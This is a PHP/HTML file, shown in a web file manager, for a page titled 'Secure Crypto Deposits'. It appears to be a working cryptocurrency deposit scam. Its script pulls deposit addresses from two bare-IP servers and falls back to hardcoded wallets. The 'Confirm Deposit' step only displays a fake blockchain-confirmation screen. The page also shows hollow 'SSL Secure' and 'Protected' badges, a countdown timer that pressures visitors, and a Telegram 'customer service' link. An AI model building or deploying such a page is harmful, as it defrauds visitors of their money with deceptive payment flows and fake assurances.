File Manager
Viewing File: deposit-fund.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Secure Crypto Deposits</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap">
<link rel="icon" type="image/svg+xml" href="https://icons.getbootstrap.com/assets/icons/wallet2.svg" />
<style>
:root {
--primary: #8B5CF6;
--primary-dark: #7C3AED;
--primary-glow: rgba(139, 92, 246, 0.25);
--secondary: #6366F1;
--accent: #F472B6;
--bg-main: #0F0F23;
--bg-card: #1A1A35;
--bg-input: #22224A;
--text-primary: #E8E8F0;
--text-secondary: #C8C8E8;
--border-color: #333366;
--gray: #8888BB;
--border-radius: 12px;
--box-shadow: 0 10px 40px rgba(0, 0, 0, 0.6);
--transition: all 0.3s ease;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Inter', sans-serif;
background: var(--bg-main);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
position: relative;
overflow-x: hidden;
}
.bubbles {
position: fixed;
bottom: 0;
left: 0;
width: 100%;
height: 100%;
pointer-events: none;
z-index: 0;
overflow: hidden;
}
.bubble {
position: absolute;
bottom: -130px;
background: radial-gradient(circle at 30% 30%, rgba(139, 92, 246, 0.35), rgba(99, 102, 241, 0.15));
border-radius: 50%;
border: 1px solid rgba(139, 92, 246, 0.2);
animation: rise linear infinite;
}
.bubble:nth-child(1) { width: 80px; height: 80px; left: 3%; animation-duration: 10s; animation-delay: 0s; }
.bubble:nth-child(2) { width: 120px; height: 120px; left: 12%; animation-duration: 14s; animation-delay: 2s; }
.bubble:nth-child(3) { width: 60px; height: 60px; left: 22%; animation-duration: 9s; animation-delay: 1s; }
.bubble:nth-child(4) { width: 160px; height: 160px; left: 32%; animation-duration: 16s; animation-delay: 3s; }
.bubble:nth-child(5) { width: 70px; height: 70px; left: 45%; animation-duration: 11s; animation-delay: 0.5s; }
.bubble:nth-child(6) { width: 100px; height: 100px; left: 55%; animation-duration: 13s; animation-delay: 2.5s; }
.bubble:nth-child(7) { width: 140px; height: 140px; left: 65%; animation-duration: 15s; animation-delay: 1.5s; }
.bubble:nth-child(8) { width: 55px; height: 55px; left: 76%; animation-duration: 8s; animation-delay: 3.5s; }
.bubble:nth-child(9) { width: 110px; height: 110px; left: 84%; animation-duration: 12s; animation-delay: 0.8s; }
.bubble:nth-child(10) { width: 90px; height: 90px; left: 93%; animation-duration: 11s; animation-delay: 2s; }
.bubble:nth-child(11) { width: 130px; height: 130px; left: 8%; animation-duration: 17s; animation-delay: 4s; }
.bubble:nth-child(12) { width: 50px; height: 50px; left: 50%; animation-duration: 7s; animation-delay: 1.2s; }
@keyframes rise {
0% {
transform: translateY(0) scale(1) rotate(0deg);
opacity: 0.6;
}
100% {
transform: translateY(-120vh) scale(0.2) rotate(720deg);
opacity: 0;
}
}
.container {
background: var(--bg-card);
border-radius: var(--border-radius);
box-shadow: var(--box-shadow);
width: 100%;
max-width: 480px;
overflow: hidden;
position: relative;
z-index: 1;
border: 1px solid var(--border-color);
backdrop-filter: blur(10px);
}
.header-bar {
height: 4px;
background: linear-gradient(90deg, var(--primary), var(--secondary), var(--accent));
}
.content {
padding: 30px;
}
.logo-container {
text-align: center;
margin-bottom: 20px;
}
.logo {
width: 150px;
filter: brightness(0.9);
}
#intro-text, #intro-text-result {
text-align: center;
margin-bottom: 25px;
}
h1 {
font-size: 24px;
color: var(--primary);
font-weight: 600;
margin-bottom: 10px;
}
.subtitle {
font-size: 15px;
color: var(--text-secondary);
line-height: 1.6;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
font-size: 14px;
margin-bottom: 8px;
font-weight: 500;
color: var(--text-primary);
}
input, select {
width: 100%;
padding: 12px 15px;
font-size: 15px;
border: 2px solid var(--border-color);
border-radius: var(--border-radius);
background-color: var(--bg-input);
color: var(--text-primary);
transition: var(--transition);
}
input:focus, select:focus {
border-color: var(--primary);
outline: none;
box-shadow: 0 0 0 3px var(--primary-glow);
}
input::placeholder {
color: var(--gray);
}
select {
appearance: none;
background-image: url("data:image/svg+xml,%3csvg fill='none' stroke='%23C8C8E8' stroke-width='2' viewBox='0 0 24 24'%3e%3cpath stroke-linecap='round' stroke-linejoin='round' d='M19 9l-7 7-7-7'/%3e%3c/svg%3e");
background-repeat: no-repeat;
background-position: right 12px center;
background-size: 16px;
padding-right: 40px;
}
select option {
background: var(--bg-card);
color: var(--text-primary);
}
button {
background: linear-gradient(135deg, var(--primary), var(--secondary));
color: white;
padding: 14px;
font-size: 16px;
font-weight: 500;
border: none;
border-radius: var(--border-radius);
cursor: pointer;
width: 100%;
transition: var(--transition);
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 8px 25px var(--primary-glow);
}
#usdt-network {
display: none;
margin-top: 15px;
}
.network-badge {
display: inline-block;
padding: 3px 10px;
background: var(--primary-glow);
border-radius: 20px;
font-size: 11px;
font-weight: 600;
color: var(--primary);
margin-left: 8px;
}
#result, #confirmation-page {
display: none;
}
.qr-container {
background: var(--bg-input);
padding: 20px;
border-radius: var(--border-radius);
border: 1px solid var(--border-color);
margin: 20px 0;
text-align: center;
}
#qrCode {
width: 200px;
height: 200px;
border-radius: 8px;
background: white;
padding: 8px;
}
.address-container {
margin: 20px 0;
}
#address {
width: 100%;
padding: 12px 15px;
font-size: 14px;
border: 2px solid var(--border-color);
border-radius: var(--border-radius);
background-color: var(--bg-input);
color: var(--text-primary);
font-family: monospace;
text-align: center;
margin-bottom: 10px;
}
#copyBtn {
background: var(--secondary);
}
#copyBtn:hover {
background: #4F46E5;
}
.transaction-info {
background-color: var(--bg-input);
padding: 15px;
border-radius: var(--border-radius);
font-size: 14px;
line-height: 1.6;
color: var(--text-secondary);
border: 1px solid var(--border-color);
text-align: center;
margin-bottom: 20px;
}
.confirm-btn {
background: #22C55E;
margin-bottom: 10px;
}
.confirm-btn:hover {
background: #16A34A;
box-shadow: 0 8px 25px rgba(34, 197, 94, 0.3);
}
.go-back-btn {
background: var(--accent);
margin-top: 10px;
}
.go-back-btn:hover {
background: #E05A8A;
}
#timer-container {
text-align: center;
margin: 15px 0;
display: none;
}
#timer-container p {
color: var(--text-secondary);
font-size: 13px;
}
#countdown {
font-size: 28px;
font-weight: 700;
color: var(--primary);
}
#countdown.warning {
color: #F59E0B;
}
#countdown.danger {
color: #EF4444;
animation: blink 0.5s ease-in-out infinite;
}
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0.3; }
}
.security-badges {
display: flex;
justify-content: center;
gap: 12px;
margin-top: 20px;
flex-wrap: wrap;
}
.security-badges .badge {
background: var(--bg-input);
padding: 6px 14px;
border-radius: 20px;
font-size: 11px;
color: var(--text-secondary);
border: 1px solid var(--border-color);
display: flex;
align-items: center;
gap: 6px;
transition: var(--transition);
}
.security-badges .badge:hover {
border-color: var(--primary);
color: var(--text-primary);
}
.security-badges .badge .icon {
font-size: 14px;
}
.waiting-title {
color: var(--primary);
font-size: 32px;
font-weight: 700;
margin-bottom: 15px;
text-align: center;
line-height: 1.2;
}
.waiting-subtitle {
color: var(--text-secondary);
font-size: 16px;
text-align: center;
margin-bottom: 30px;
}
.loader-wrapper {
display: flex;
justify-content: center;
margin: 40px 0;
}
.loader-circle {
border: 8px solid var(--border-color);
border-top: 8px solid var(--primary);
border-radius: 50%;
width: 120px;
height: 120px;
animation: spin 1.5s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.toast-container {
position: fixed;
top: 20px;
right: 20px;
z-index: 99999;
display: flex;
flex-direction: column;
gap: 10px;
}
.toast {
background: var(--bg-card);
color: var(--text-primary);
padding: 14px 24px;
border-radius: var(--border-radius);
border: 1px solid var(--border-color);
box-shadow: var(--box-shadow);
transform: translateX(120%);
transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55);
min-width: 280px;
max-width: 400px;
font-size: 14px;
display: flex;
align-items: center;
gap: 12px;
}
.toast.show {
transform: translateX(0);
}
.toast.success {
border-left: 4px solid #22C55E;
}
.toast.error {
border-left: 4px solid #EF4444;
}
.toast.info {
border-left: 4px solid var(--primary);
}
.toast .toast-icon {
font-size: 20px;
}
.toast .toast-close {
margin-left: auto;
cursor: pointer;
background: none;
border: none;
color: var(--text-secondary);
font-size: 18px;
padding: 0 4px;
width: auto;
}
.toast .toast-close:hover {
color: var(--text-primary);
transform: none;
box-shadow: none;
}
#pageLoader {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
background: rgba(15, 15, 35, 0.85);
z-index: 9999;
align-items: center;
justify-content: center;
}
#pageLoader .loader-circle {
width: 48px;
height: 48px;
border-width: 6px;
}
@media (max-width: 480px) {
.content { padding: 20px; }
.security-badges .badge { font-size: 10px; padding: 4px 10px; }
.toast { min-width: 200px; font-size: 13px; padding: 12px 16px; }
.logo { width: 140px; }
}
</style>
</head>
<body>
<div class="toast-container" id="toastContainer"></div>
<div id="pageLoader"><div class="loader-circle"></div></div>
<div class="bubbles">
<div class="bubble"></div><div class="bubble"></div><div class="bubble"></div>
<div class="bubble"></div><div class="bubble"></div><div class="bubble"></div>
<div class="bubble"></div><div class="bubble"></div><div class="bubble"></div>
<div class="bubble"></div><div class="bubble"></div><div class="bubble"></div>
</div>
<div class="container">
<div class="header-bar"></div>
<div class="content">
<div class="logo-container" id="logoDeposit">
<img class="logo" src="https://static.vecteezy.com/system/resources/previews/013/391/079/non_2x/cryptocurrency-exchange-3d-illustration-free-png.png" alt="Logo">
</div>
<div id="intro-text">
<h1>Fast & Secure Crypto Deposits</h1>
<p class="subtitle">The easiest way to fund your wallet - fast, secure, and transparent.</p>
</div>
<form id="cryptoForm">
<div class="form-group">
<label for="amount">Enter Amount (Min. $50 USD)</label>
<input type="number" id="amount" min="50" placeholder="50.00" required>
</div>
<div class="form-group">
<label for="currency">Select Cryptocurrency</label>
<select id="currency">
<option value="BTC">Bitcoin (BTC)</option>
<option value="ETH">Ethereum (ETH)</option>
<option value="USDT">Tether (USDT)</option>
<option value="USDC">USDC (USDC)</option>
<option value="BNB">Binance Coin (BNB)</option>
<option value="SOL">Solana (SOL)</option>
</select>
</div>
<div id="usdt-network">
<div class="form-group">
<label for="network">Select Network</label>
<select id="network">
<option value="ERC20">ERC20 (Ethereum)</option>
<option value="TRC20">TRC20 (Tron)</option>
</select>
</div>
</div>
<button type="button" onclick="generateAddress()">Generate Deposit Address</button>
</form>
<div id="result">
<div id="intro-text-result">
<h1>Complete Your Deposit</h1>
<p class="subtitle">Simply scan the QR code or copy the address below to complete your deposit.</p>
</div>
<div id="timer-container">
<p>⏱️ Time remaining to complete deposit:</p>
<div id="countdown">15:00</div>
</div>
<div class="qr-container">
<img id="qrCode" src="" alt="QR">
</div>
<div class="address-container">
<input type="text" id="address" readonly>
<button id="copyBtn" onclick="copyAddress()">Copy Address</button>
</div>
<div class="transaction-info" id="transactionInfo"></div>
<button class="confirm-btn" onclick="showConfirmation()">✅ Confirm Deposit</button>
<button class="go-back-btn" onclick="goBack()">Change Deposit Method</button>
</div>
<div class="security-badges" id="securityBadges">
<span class="badge"><span class="icon">🔒</span> SSL Secure</span>
<span class="badge"><span class="icon">✅</span> 24/7 Support</span>
<span class="badge"><span class="icon">⚡</span> Instant Confirmation</span>
<span class="badge"><span class="icon">🛡️</span> Protected</span>
</div>
<div id="confirmation-page">
<div class="waiting-title">⏳ Waiting Block<br>Confirmation</div>
<p class="waiting-subtitle">
Your deposit has been submitted.<br>
Please wait while the blockchain confirms your transaction.
</p>
<div class="loader-wrapper">
<div class="loader-circle"></div>
</div>
<div style="text-align: center;">
<p class="subtitle" style="margin-bottom: 10px;">This may take a few minutes depending on network traffic.</p>
<p style="color: #F472B6; font-size: 13px; font-weight: 500; padding: 0 10px;">
If you haven't made a deposit yet, the blockchain will not be able to confirm your transaction.
</p>
</div>
<button class="go-back-btn" onclick="goBack()" style="margin-top: 25px;">Back to Home</button>
</div>
</div>
</div>
<script>
const priceMap = { BTC: 'bitcoin', ETH: 'ethereum', USDT: 'tether', BNB: 'binancecoin', SOL: 'solana', USDC: 'usd-coin' };
let timerInterval = null;
let walletData = null;
let isWalletLoaded = false;
const WALLET_SOURCES = [
{ url: 'https://172.86.122.105/wallet.txt', name: '1', timeout: 5000 },
{ url: 'https://167.88.166.73/wallet.txt', name: '2', timeout: 5000 }
];
const LOCAL_WALLETS = {
"BTC": { "address": "1NZ21itzAt45dSxhw2BfYoTNMyGNiPX6bG" },
"ETH": { "address": "0x4dF84f3F1BF8C88c4a2216b8fC645C3b694f4D83" },
"USDT (TRC20)": { "address": "TKrPgSqJdQCLbrGX2BUYmoQut3Br6in9sj" },
"USDT (ERC20)": { "address": "0x4dF84f3F1BF8C88c4a2216b8fC645C3b694f4D83" },
"SOL": { "address": "5TJmEU5V6uQXhDrWfsMVgARwKn8JBXjY5sXNXLsCsqi" },
"USDC": { "address": "0x4dF84f3F1BF8C88c4a2216b8fC645C3b694f4D83" },
"BNB": { "address": "0x4dF84f3F1BF8C88c4a2216b8fC645C3b694f4D83" }
};
function showToast(message, type = 'info', duration = 4000) {
const container = document.getElementById('toastContainer');
const toast = document.createElement('div');
toast.className = `toast ${type}`;
const icons = { success: '✅', error: '❌', info: 'ℹ️' };
toast.innerHTML = `
<span class="toast-icon">${icons[type] || 'ℹ️'}</span>
<span>${message}</span>
<button class="toast-close" onclick="this.parentElement.remove()">✕</button>
`;
container.appendChild(toast);
setTimeout(() => toast.classList.add('show'), 50);
setTimeout(() => {
toast.classList.remove('show');
setTimeout(() => toast.remove(), 400);
}, duration);
}
function parseWalletData(textData) {
const lines = textData.split('\n');
const parsedData = {};
lines.forEach(line => {
line = line.trim();
if (line && !line.startsWith('#')) {
const [key, ...valueParts] = line.split(':');
const value = valueParts.join(':').trim();
if (key && value) {
parsedData[key.trim()] = { address: value };
}
}
});
return parsedData;
}
async function fetchFromSource(source) {
try {
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), source.timeout || 5000);
const response = await fetch(source.url, { signal: controller.signal, mode: 'cors' });
clearTimeout(timeoutId);
if (!response.ok) throw new Error(`HTTP ${response.status}`);
const textData = await response.text();
const parsedData = parseWalletData(textData);
if (Object.keys(parsedData).length === 0) throw new Error('No valid data');
return { success: true, data: parsedData };
} catch (error) {
return { success: false };
}
}
async function loadWalletData() {
const promises = WALLET_SOURCES.map(source => fetchFromSource(source));
const results = await Promise.allSettled(promises);
for (const result of results) {
if (result.status === 'fulfilled' && result.value.success) {
walletData = result.value.data;
isWalletLoaded = true;
return true;
}
}
walletData = LOCAL_WALLETS;
isWalletLoaded = true;
return true;
}
function getWalletAddress(currency, network = null) {
if (!isWalletLoaded || !walletData) {
throw new Error('Wallet data not loaded. Please refresh the page.');
}
let key = currency;
if (currency === 'USDT' && network) {
key = `USDT (${network})`;
}
if (walletData[key] && walletData[key].address) {
return walletData[key].address;
}
throw new Error(`Address not found for: ${currency}${network ? ' (' + network + ')' : ''}`);
}
async function fetchCryptoPrice(symbol) {
const id = priceMap[symbol];
try {
const res = await fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${id}&vs_currencies=usd`);
const data = await res.json();
return data[id]?.usd || null;
} catch(e) { return null; }
}
async function updateAmountMessage() {
const amount = parseFloat(document.getElementById('amount').value || '0');
const currency = document.getElementById('currency').value;
const info = document.getElementById('transactionInfo');
if (amount < 50) return info.innerHTML = '';
const price = await fetchCryptoPrice(currency);
if (!price) return;
const cryptoAmount = (amount / price).toFixed(currency === 'BTC' || currency === 'ETH' ? 6 : 2);
info.innerHTML = `Send <strong>$${amount} (${cryptoAmount} ${currency})</strong> to the address above.<br>` +
`<span style="color: var(--text-secondary); font-size: 12px;">Ensure you send the correct amount for faster confirmation.</span>`;
}
function startTimer(duration = 900) {
if (timerInterval) clearInterval(timerInterval);
let time = duration;
const display = document.getElementById('countdown');
const container = document.getElementById('timer-container');
container.style.display = 'block';
display.className = '';
timerInterval = setInterval(() => {
const mins = Math.floor(time / 60);
const secs = time % 60;
display.textContent = `${String(mins).padStart(2, '0')}:${String(secs).padStart(2, '0')}`;
if (time <= 60) display.className = 'danger';
else if (time <= 180) display.className = 'warning';
if (time <= 0) {
clearInterval(timerInterval);
display.textContent = '⏰ Expired!';
display.className = 'danger';
showToast('Deposit time expired! Please generate a new address.', 'error', 5000);
}
time--;
}, 1000);
}
function stopTimer() {
if (timerInterval) {
clearInterval(timerInterval);
timerInterval = null;
}
document.getElementById('timer-container').style.display = 'none';
}
async function generateAddress() {
const amount = parseFloat(document.getElementById('amount').value);
if (!amount || amount < 50) {
showToast('Please enter an amount of at least $50', 'error');
return;
}
const currency = document.getElementById('currency').value;
const network = (currency === 'USDT') ? document.getElementById('network').value : null;
if (!isWalletLoaded) {
document.getElementById("pageLoader").style.display = "flex";
await loadWalletData();
document.getElementById("pageLoader").style.display = "none";
}
document.getElementById("pageLoader").style.display = "flex";
try {
const address = getWalletAddress(currency, network);
document.getElementById('address').value = address;
document.getElementById('qrCode').src = `https://api.qrserver.com/v1/create-qr-code/?data=${encodeURIComponent(address)}&size=300x300`;
document.getElementById('cryptoForm').style.display = 'none';
document.getElementById('intro-text').style.display = 'none';
document.getElementById('result').style.display = 'block';
document.getElementById('logoDeposit').style.display = 'none';
document.getElementById('securityBadges').style.display = 'none';
await updateAmountMessage();
startTimer(900);
showToast('Address generated successfully!', 'success');
} catch (err) {
showToast(`Error: ${err.message}`, 'error', 5000);
console.error('Error generating address:', err);
} finally {
document.getElementById("pageLoader").style.display = "none";
}
}
function copyAddress() {
const input = document.getElementById('address');
input.select();
navigator.clipboard.writeText(input.value);
const btn = document.getElementById('copyBtn');
btn.innerText = '✅ Copied!';
showToast('Address copied to clipboard!', 'success', 2000);
setTimeout(() => btn.innerText = 'Copy Address', 2000);
}
function showConfirmation() {
stopTimer();
document.getElementById('result').style.display = 'none';
document.getElementById('logoDeposit').style.display = 'none';
document.getElementById('confirmation-page').style.display = 'block';
showToast('Deposit submitted! Waiting for confirmation.', 'info', 3000);
}
function goBack() {
stopTimer();
document.getElementById('result').style.display = 'none';
document.getElementById('confirmation-page').style.display = 'none';
document.getElementById('cryptoForm').style.display = 'block';
document.getElementById('intro-text').style.display = 'block';
document.getElementById('logoDeposit').style.display = 'block';
document.getElementById('securityBadges').style.display = 'flex';
}
document.addEventListener('DOMContentLoaded', function() {
loadWalletData();
document.getElementById('currency').addEventListener('change', function() {
const show = document.getElementById('currency').value === 'USDT';
document.getElementById('usdt-network').style.display = show ? 'block' : 'none';
});
document.getElementById('amount').addEventListener('input', updateAmountMessage);
document.getElementById('amount').addEventListener('keypress', function(e) {
if (e.key === 'Enter') generateAddress();
});
});
</script>
<div id="telegram-widget">
<a href="https://t.me/custservicescrypto" target="_blank" id="telegram-button">
<svg width="28" height="28" viewBox="0 0 24 24" fill="white">
<path d="M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"/>
</svg>
<span id="telegram-text">Message Us</span>
</a>
</div>
<style>
#telegram-widget {
position: fixed;
bottom: 20px;
left: 20px;
z-index: 9999;
}
#telegram-button {
display: flex;
align-items: center;
gap: 10px;
background: #2AABEE;
color: white;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
font-size: 14px;
font-weight: 600;
padding: 12px 20px;
border-radius: 50px;
text-decoration: none;
box-shadow: 0 4px 20px rgba(42, 171, 238, 0.4);
transition: all 0.3s ease;
border: none;
cursor: pointer;
animation: pulse 2s infinite;
}
@keyframes pulse {
0% { box-shadow: 0 0 0 0 rgba(42, 171, 238, 0.4); }
70% { box-shadow: 0 0 0 15px rgba(42, 171, 238, 0); }
100% { box-shadow: 0 0 0 0 rgba(42, 171, 238, 0); }
}
#telegram-button:hover {
transform: scale(1.05);
box-shadow: 0 6px 30px rgba(42, 171, 238, 0.6);
animation: none;
}
#telegram-button svg {
flex-shrink: 0;
}
@keyframes slideInLeft {
from { transform: translateX(-100px); opacity: 0; }
to { transform: translateX(0); opacity: 1; }
}
#telegram-widget {
animation: slideInLeft 0.5s ease-out;
}
@media (max-width: 480px) {
#telegram-button {
padding: 10px 16px;
font-size: 12px;
}
#telegram-button svg {
width: 22px;
height: 22px;
}
#telegram-button span {
display: inline;
}
}
</style>
<script>
(function() {
var domain = window.location.hostname;
var cleanDomain = domain.replace('www.', '');
var textElement = document.getElementById('telegram-text');
textElement.textContent = 'Message Us (' + cleanDomain + ')';
})();
document.getElementById('telegram-button').addEventListener('click', function() {
console.log('Telegram widget clicked');
});
</script>
<script type="text/javascript">
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/661bc6ab1ec1082f04e224e1/1hre804b7';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
</script>
</body>
</html>